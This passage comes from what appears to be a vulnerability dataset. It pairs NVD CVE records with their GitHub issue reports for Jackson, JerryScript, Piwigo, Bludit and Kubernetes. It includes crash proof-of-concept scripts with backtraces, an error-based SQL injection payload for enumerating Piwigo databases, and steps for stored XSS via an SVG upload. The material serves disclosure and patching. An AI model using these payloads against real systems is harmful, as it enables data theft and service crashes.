at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
```
## PoC
```xml
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.15.2</version>
</dependency>
```
```java
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.util.HashMap;
public class PoC2 {
public static void main(String[] args) {
HashMap<String,Object> map=new HashMap<>();
map.put("t",map);
ObjectMapper objectMapper = new ObjectMapper();
try {
String jsonString = objectMapper.writeValueAsString(map);
System.out.println(jsonString);
} catch (JsonProcessingException e) {
e.printStackTrace();
}
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
## References
1. https://github.com/jettison-json/jettison/issues/52
2. https://github.com/jettison-json/jettison/pull/53/files | Stack overflow error caused by serialization of `Map` with cyclic dependency -- NOT CVE | https://api.github.com/repos/FasterXML/jackson-databind/issues/3972/comments | 76 | 2023-06-09T07:25:44Z | 2023-11-16T01:29:27Z | https://github.com/FasterXML/jackson-databind/issues/3972 | 1,749,290,478 | 3,972 |
CVE-2023-34867 | 2023-06-14T16:15:20.277 | Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the ecma_property_hashmap_create at jerry-core/ecma/base/ecma-property-hashmap.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5084"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5084 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/05dbbd134c3b9e2482998f267857dd3722001cd7
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
<details><summary>testcase</summary>
<p>
```javascript
var r = function ( func0 , a ) {
for ( var v in a || { } ) {
r [ v ] = a [ v ] ;
} return r ;
} ;
var a = [ ] ;
for ( var v = 0 ; v < 256 ; v ++ ) {
var n = Object . create ( null ) ;
a . push ( n , a ) ;
n . v = 1 ;
n . o = 1 ;
n = new WeakSet ( a ) ;
n . t = 1 ;
n . o = 1 ;
}
n . i = 1 ;
if ( ! a ) throw new Test262Error ( " out " ) ;
n . O = 1 ;
n . m = 1 ;
n = JSON . stringify ( JSON . stringify ( n , a ) ) ;
if ( r . deref != 1 ) throw new Test262Error ( " digit " ) ;
n . h = 1 ;
n . T = 1 ;
n . U = 1 ;
n . g = 1 ;
n . j = 1 ;
n . k = 1 ;
n . m = 1 ;
n . p = 1 ;
n . q = 1 ;
n . A = 1 ;
n . B = 1 ;
n . as = 1 ;
n . C = 1 ;
n . A = 1 ;
n . q = 0.1 ;
n . D = 1 ;
n . F = 1 ;
n . G = 1 ;
n . ax = 1 ;
n . ax = 1 ;
n . H = 1 ;
n . I = 1 ;
n . J = 1 ;
n . K = 1 ;
n . L = 1 ;
n . M = 1 ;
n . N = 1 ;
var o = Object . create ( n ) ;
var f = r ( { } , o ) ;
for ( var t in f ) {
if ( f [ t ] !== f [ " " ] ) {
if ( f [ t ] !== f [ " " + t ] ) {
throw new Error ( " OUT " ) ;
}
}
}
```
</p>
</details>
```javascript
// poc.js
var a = [ ] ;
for ( var v = 0 ; v < 256 ; v ++ ) {
var n = Object . create ( null ) ;
a . push ( n , a ) ;
n = new WeakSet ( a ) ;
n . o = 1 ;
}
```
###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'ECMA_PROPERTY_IS_PROPERTY_PAIR (prop_iter_p)' failed at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c(ecma_property_hashmap_create):146.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```
###### Backtrace
```
(gdb) bt
#0 0xf7fcfd99 in __kernel_vsyscall ()
#1 0xf7ca4276 in raise () from /lib32/libc.so.6
#2 0xf7c8c3f7 in abort () from /lib32/libc.so.6
#3 0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at ./jerryscript/jerry-port/common/jerry-port-process.c:29
#4 0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at ./jerryscript/jerry-core/jrt/jrt-fatals.c:63
#5 0x08260d64 in jerry_assert_fail (assertion=0x8418d00 <str> "ECMA_PROPERTY_IS_PROPERTY_PAIR (prop_iter_p)",
file=0x8418d60 <str> "./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c", function=0x8418de0 <__func__.ecma_property_hashmap_create> "ecma_property_hashmap_create",
line=146) at ./jerryscript/jerry-core/jrt/jrt-fatals.c:83
#6 0x081a3e63 in ecma_property_hashmap_create (object_p=0xf5500880) at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c:146
#7 0x081a4342 in ecma_property_hashmap_insert (object_p=0xf5500880, name_p=0x3815, property_pair_p=0xf2d1a140, property_index=0)
at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c:236
#8 0x08189d0a in ecma_create_property (object_p=<optimized out>, name_p=<optimized out>, type_and_flags=<optimized out>, value=..., out_prop_p=<optimized out>)
at ./jerryscript/jerry-core/ecma/base/ecma-helpers.c:448
#9 0x0818836a in ecma_create_named_data_property (object_p=0xf5500880, name_p=0x3815, prop_attributes=7 '\a', out_prop_p=0x0)
at ./jerryscript/jerry-core/ecma/base/ecma-helpers.c:536
#10 0x08217e4e in ecma_op_object_put_apply_receiver (receiver=<optimized out>, property_name_p=<optimized out>, value=<optimized out>, is_throw=<optimized out>)
at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1241
#11 0x08216a71 in ecma_op_object_put_with_receiver (object_p=<optimized out>, property_name_p=<optimized out>, value=<optimized out>, receiver=<optimized out>, is_throw=<optimized out>)
at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1595
#12 0x08214f3a in ecma_op_object_put (object_p=0xf5500880, property_name_p=0x3815, value=<optimized out>, is_throw=<optimized out>)
at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1143
#13 ecma_op_object_put_by_index (object_p=0xf5500880, index=448, value=4117759059, is_throw=<optimized out>) at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1109
#14 0x0830d9b1 in ecma_builtin_array_prototype_object_push (argument_list_p=<optimized out>, arguments_number=2, obj_p=0xf5500880, length=448)
at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:465
#15 ecma_builtin_array_prototype_dispatch_routine (builtin_routine_id=<optimized out>, this_arg=<optimized out>, arguments_list_p=<optimized out>, arguments_number=<optimized out>)
at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2839
#16 0x081b94a5 in ecma_builtin_dispatch_routine (func_obj_p=<optimized out>, this_arg_value=<optimized out>, arguments_list_p=0xffffce30, arguments_list_len=<optimized out>)
at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
#17 ecma_builtin_dispatch_call (obj_p=<optimized out>, this_arg_value=<optimized out>, arguments_list_p=<optimized out>, arguments_list_len=<optimized out>)
at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
#18 0x081fb6b8 in ecma_op_function_call_native_built_in (func_obj_p=0xf5500790, this_arg_value=4115662979, arguments_list_p=0xffffd054, arguments_list_len=2)
at ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
#19 0x081fa81d in ecma_op_function_call (func_obj_p=0xf5500790, this_arg_value=4115662979, arguments_list_p=0xffffd054, arguments_list_len=2)
at ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
#20 0x081fa5cf in ecma_op_function_validated_call (callee=4115662739, this_arg_value=4115662979, arguments_list_p=0xffffd054, arguments_list_len=2)
at ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1371
#21 0x082d7631 in opfunc_call (frame_ctx_p=<optimized out>) at ./jerryscript/jerry-core/vm/vm.c:758
#22 vm_execute (frame_ctx_p=0xffffd020) at ./jerryscript/jerry-core/vm/vm.c:5217
#23 0x082d4f62 in vm_run (shared_p=0xffffd110, this_binding_value=4119870595, lex_env_p=0xf57007b0) at ./jerryscript/jerry-core/vm/vm.c:5312
#24 0x082d4c39 in vm_run_global (bytecode_p=<optimized out>, function_object_p=<optimized out>) at ./jerryscript/jerry-core/vm/vm.c:286
#25 0x0812a4e5 in jerry_run (script=4115663075) at ./jerryscript/jerry-core/api/jerryscript.c:548
#26 0x083eac3f in jerryx_source_exec_script (path_p=0xffffd5df "poc.js") at ./jerryscript/jerry-ext/util/sources.c:68
#27 0x0812162d in main (argc=<optimized out>, argv=<optimized out>) at ./jerryscript/jerry-main/main-desktop.c:156
(gdb)
```
---
with release mode
###### Outputs
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1512811==ERROR: AddressSanitizer: SEGV on unknown address 0x0000023e (pc 0x5659bb0f bp 0xff8ef1d8 sp 0xff8ef190 T0)
==1512811==The signal is caused by a READ memory access.
==1512811==Hint: address points to the zero page.
#0 0x5659bb0e in ecma_gc_mark_properties ./jerryscript/jerry-core/ecma/base/ecma-gc.c:287
#1 0x5659e95d in ecma_gc_run ./jerryscript/jerry-core/ecma/base/ecma-gc.c:2158
#2 0x565f3d83 in jmem_heap_gc_and_alloc_block ./jerryscript/jerry-core/jmem/jmem-heap.c:285
#3 0x566365ad in ecma_alloc_property_pair ./jerryscript/jerry-core/ecma/base/ecma-alloc.c:253
#4 0x565ac30d in ecma_create_property ./jerryscript/jerry-core/ecma/base/ecma-helpers.c:457
#5 0x565d424d in ecma_create_iter_result_object ./jerryscript/jerry-core/ecma/operations/ecma-iterator-object.c:98
#6 0x56636d82 in ecma_builtin_array_iterator_prototype_object_next ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-iterator-prototype.c:172
#7 0x56636d82 in ecma_builtin_array_iterator_prototype_dispatch_routine ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-iterator-prototype.c:211
#8 0x565bba28 in ecma_builtin_dispatch_routine ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
#9 0x565bba28 in ecma_builtin_dispatch_call ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
#10 0x565d0db7 in ecma_op_function_call_native_built_in ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
#11 0x565d2c84 in ecma_op_function_call ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
#12 0x565d449d in ecma_op_iterator_next ./jerryscript/jerry-core/ecma/operations/ecma-iterator-object.c:317
#13 0x565d46d3 in ecma_op_iterator_step ./jerryscript/jerry-core/ecma/operations/ecma-iterator-object.c:559
#14 0x565ca92e in ecma_op_container_create ./jerryscript/jerry-core/ecma/operations/ecma-container-object.c:435
#15 0x56657dbd in ecma_builtin_weakset_dispatch_construct ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-weakset.c:62
#16 0x565d3086 in ecma_op_function_construct_built_in ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1537
#17 0x565d3086 in ecma_op_function_construct ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1717
#18 0x56634c33 in opfunc_construct ./jerryscript/jerry-core/vm/vm.c:840
#19 0x56634c33 in vm_execute ./jerryscript/jerry-core/vm/vm.c:5236
#20 0x56635152 in vm_run ./jerryscript/jerry-core/vm/vm.c:5312
#21 0x5663538f in vm_run_global ./jerryscript/jerry-core/vm/vm.c:286
#22 0x5659382e in jerry_run ./jerryscript/jerry-core/api/jerryscript.c:548
#23 0x5668871b in jerryx_source_exec_script ./jerryscript/jerry-ext/util/sources.c:68
#24 0x5658bd04 in main ./jerryscript/jerry-main/main-desktop.c:156
#25 0xf76ceed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
#26 0x5658efb4 in _start (/./jerryscript/build/bin/jerry+0x12fb4)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ./jerryscript/jerry-core/ecma/base/ecma-gc.c:287 in ecma_gc_mark_properties
==1512811==ABORTING
```
Credits: @Ye0nny, @EJueon of the seclab-yonsei.
| Assertion 'ECMA_PROPERTY_IS_PROPERTY_PAIR (prop_iter_p)' failed at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c(ecma_property_hashmap_create) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5084/comments | 0 | 2023-06-05T11:59:55Z | 2023-06-05T11:59:55Z | https://github.com/jerryscript-project/jerryscript/issues/5084 | 1,741,623,530 | 5,084 |
CVE-2023-34868 | 2023-06-14T16:15:20.323 | Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the parser_parse_for_statement_start at jerry-core/parser/js/js-parser-statm.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5083"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5083 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/05dbbd134c3b9e2482998f267857dd3722001cd7
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
<details><summary>testcase</summary>
<p>
```javascript
var r = { } ;
var t = [ r , r , r , r , r , r , r , r , r , r , r , r , r , r , r ] ;
var a = [ ] ;
const e = 8 ;
for ( var n = 0 ; n < 8 ; ++ n ) {
for ( var o = 0 ; o < t . length ; ++ o ) {
a . push ( String . prototype . indexOf . call ( t [ n ] , " object " ) ) ;
}
}
a [ 8 ] = a = [ ] ;
8 * t , f . length ;
var c = class extends c { static { } ; } ;
for ( var n = 0 ; n < a . length ; ++ n ) {
var f = { } , t = f ;
r = 0 ;
r += a [ n ] ;
1 ;
}
```
</p>
</details>
```javascript
// poc.js
var c = class extends c { static { } ; } ;
for ( var n = 0 ; n < a . length ; ++ n ) {
r += a [ n ] ;
}
```
###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'context_p->token.type != LEXER_RIGHT_PAREN' failed at ./jerryscript/jerry-core/parser/js/js-parser-statm.c(parser_parse_for_statement_start):1502.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```
###### Backtrace
```
(gdb) bt
#0 0xf7fcfd99 in __kernel_vsyscall ()
#1 0xf7ca4276 in raise () from /lib32/libc.so.6
#2 0xf7c8c3f7 in abort () from /lib32/libc.so.6
#3 0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION)
at ./jerryscript/jerry-port/common/jerry-port-process.c:29
#4 0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION)
at ./jerryscript/jerry-core/jrt/jrt-fatals.c:63
#5 0x08260d64 in jerry_assert_fail (assertion=0x8479a60 <str> "context_p->token.type != LEXER_RIGHT_PAREN",
file=0x84789e0 <str> "./jerryscript/jerry-core/parser/js/js-parser-statm.c",
function=0x8479b20 <__func__.parser_parse_for_statement_start> "parser_parse_for_statement_start", line=1502)
at ./jerryscript/jerry-core/jrt/jrt-fatals.c:83
#6 0x083d5567 in parser_parse_for_statement_start (context_p=<optimized out>)
at ./jerryscript/jerry-core/parser/js/js-parser-statm.c:1502
#7 parser_parse_statements (context_p=<optimized out>)
at ./jerryscript/jerry-core/parser/js/js-parser-statm.c:2851
#8 0x08284a26 in parser_parse_source (source_p=0xffffd030, parse_opts=<optimized out>, options_p=0xffffd100)
at ./jerryscript/jerry-core/parser/js/js-parser.c:2280
#9 0x08282c70 in parser_parse_script (source_p=0xffffd030, parse_opts=0, options_p=0xffffd100)
at ./jerryscript/jerry-core/parser/js/js-parser.c:3326
#10 0x08129a7d in jerry_parse_common (source_p=0xffffd030, options_p=<optimized out>, parse_opts=0)
at ./jerryscript/jerry-core/api/jerryscript.c:412
#11 0x08129698 in jerry_parse (source_p=<optimized out>, source_size=<optimized out>, options_p=<optimized out>)
at ./jerryscript/jerry-core/api/jerryscript.c:480
#12 0x083ea952 in jerryx_source_parse_script (path_p=<optimized out>)
at ./jerryscript/jerry-ext/util/sources.c:52
#13 0x083eac12 in jerryx_source_exec_script (path_p=0xffffd5da "poc.js")
at ./jerryscript/jerry-ext/util/sources.c:63
#14 0x0812162d in main (argc=<optimized out>, argv=<optimized out>)
at ./jerryscript/jerry-main/main-desktop.c:156
(gdb)
```
Credits: @Ye0nny, @EJueon of the seclab-yonsei.
| Assertion 'context_p->token.type != LEXER_RIGHT_PAREN' failed at ./jerryscript/jerry-core/parser/js/js-parser-statm.c(parser_parse_for_statement_start) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5083/comments | 0 | 2023-05-31T12:11:34Z | 2023-05-31T12:11:34Z | https://github.com/jerryscript-project/jerryscript/issues/5083 | 1,734,082,739 | 5,083 |
CVE-2023-34626 | 2023-06-15T16:15:09.347 | Piwigo 13.7.0 is vulnerable to SQL Injection via the "Users" function. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/Piwigo/Piwigo/issues/1924"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4B9AEE3-C9C5-4D20-BA38-9E5A2A64FABD",
"versionEndExcluding": null,
"versionEndIncluding": "13.7.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/Piwigo/Piwigo/issues/1924 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"Piwigo",
"Piwigo"
] | Access the 'Users' function and use the filter function

Observe the request on Burp Suite

Manipulate the 'order' or 'exclude[]' parameter by adding a single quote, and an error in MYSQL shows up, proving the existence of SQL injection

We can try to retrieve all the databases name with the error-based payload `id AND (SELECT 2690 FROM(SELECT COUNT(*),CONCAT(0x716b707671,(SELECT MID((IFNULL(CAST(schema_name AS NCHAR),0x20)),1,51) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7162787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)` , just increasing the LIMIT value to enumerate all the databases name

Analyze the vulnerability from the source code, locate the ws_users_getList() function (/piwigo/include/ws_functions/pwg.users.php), notice that 'order' was concat directly after the 'ORDER BY' clause without any kind of input sanitization. The same case happens for
the 'exclude[]' parameter

This vulnerability affects the latest version up to 13.7.0, and it is uncertain if other versions will be affected. | SQL Injection in the "Users" function of piwigo | https://api.github.com/repos/Piwigo/Piwigo/issues/1924/comments | 0 | 2023-05-25T07:54:09Z | 2023-05-29T10:27:38Z | https://github.com/Piwigo/Piwigo/issues/1924 | 1,725,285,095 | 1,924 |
CVE-2023-34845 | 2023-06-16T04:15:14.143 | Bludit v3.14.1 was discovered to contain an arbitrary file upload vulnerability in the component /admin/new-content. This vulnerability allows attackers to execute arbitrary web scripts or HTML via uploading a crafted SVG file. NOTE: the product's security model is that users are trusted by the administrator to insert arbitrary content (users cannot create their own accounts through self-registration). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1212#issuecomment-649514491"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1369#issuecomment-940806199"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/bludit/bludit/issues/1508"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:bludit:bludit:3.14.1:*:*:*:*:*:*:*",
"matchCriteriaId": "E1884F54-CD39-43CC-B52B-8B2335A09CDB",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/bludit/bludit/issues/1508 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"bludit",
"bludit"
] | ### Describe your problem
I found a cross-site scripting attack on the new content creating page http://localhost:800/admin/new-content
it will execute the script in user context allowing the attacker to access any cookies or sessions tokens retained
by the browser.
Stored XSS, also known as persistent XSS, is the more damaging than non-persistent XSS. It occurs when a malicious script is injected directly into a vulnerable web application.
### Steps to reproduce the problem
- login into the account
- click on the new content like in that image

- click on the images button

- select the payload svg file which is injected with xss payload or ssrf payload


- insert and save the page
- copy the image link and open in the new tab

| version 3.14.1 is vulnerable to stored xss or ssrf via file upload. | https://api.github.com/repos/bludit/bludit/issues/1508/comments | 1 | 2023-04-14T06:49:20Z | 2024-03-03T08:29:18Z | https://github.com/bludit/bludit/issues/1508 | 1,667,617,923 | 1,508 |
CVE-2023-2431 | 2023-06-16T08:15:08.770 | A security issue was discovered in Kubelet that allows pods to bypass the seccomp profile enforcement. Pods that use localhost type for seccomp profile but specify an empty profile field, are affected by this issue. In this scenario, this vulnerability allows the pod to run in unconfined (seccomp disabled) mode. This bug affects Kubelet. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 3.4,
"baseSeverity": "LOW",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 0.8,
"impactScore": 2.5,
"source": "[email protected]",
"type": "Secondary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/kubernetes/kubernetes/issues/118690"
},
{
"source": "[email protected]",
"tags": [
"Mailing List"
],
"url": "https://groups.google.com/g/kubernetes-security-announce/c/QHmx0HOQa10"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/[email protected]/message/43HDSKBKPSW53OW647B5ETHRWFFNHSRQ/"
},
{
"source": "[email protected]",
"tags": [
"Mailing List"
],
"url": "https://lists.fedoraproject.org/archives/list/[email protected]/message/XBX4RL4UOC7JHWWYB2AJCKSUM7EG5Y5G/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:kubernetes:kubernetes:*:*:*:*:*:*:*:*",
"matchCriteriaId": "59A9CBF2-B94B-4311-AE41-6CEA2DA7E24B",
"versionEndExcluding": "1.24.14",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:kubernetes:kubernetes:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E2D70178-BDE0-430B-8446-0A93FB2323FB",
"versionEndExcluding": "1.25.10",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": "1.25.0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:kubernetes:kubernetes:*:*:*:*:*:*:*:*",
"matchCriteriaId": "D02A28B2-70E6-4B48-9D58-39525AD66C20",
"versionEndExcluding": "1.26.5",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": "1.26.0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:kubernetes:kubernetes:*:*:*:*:*:*:*:*",
"matchCriteriaId": "1C04A62B-D3F5-4E63-819A-0A8868F34643",
"versionEndExcluding": "1.27.2",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": "1.27.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*",
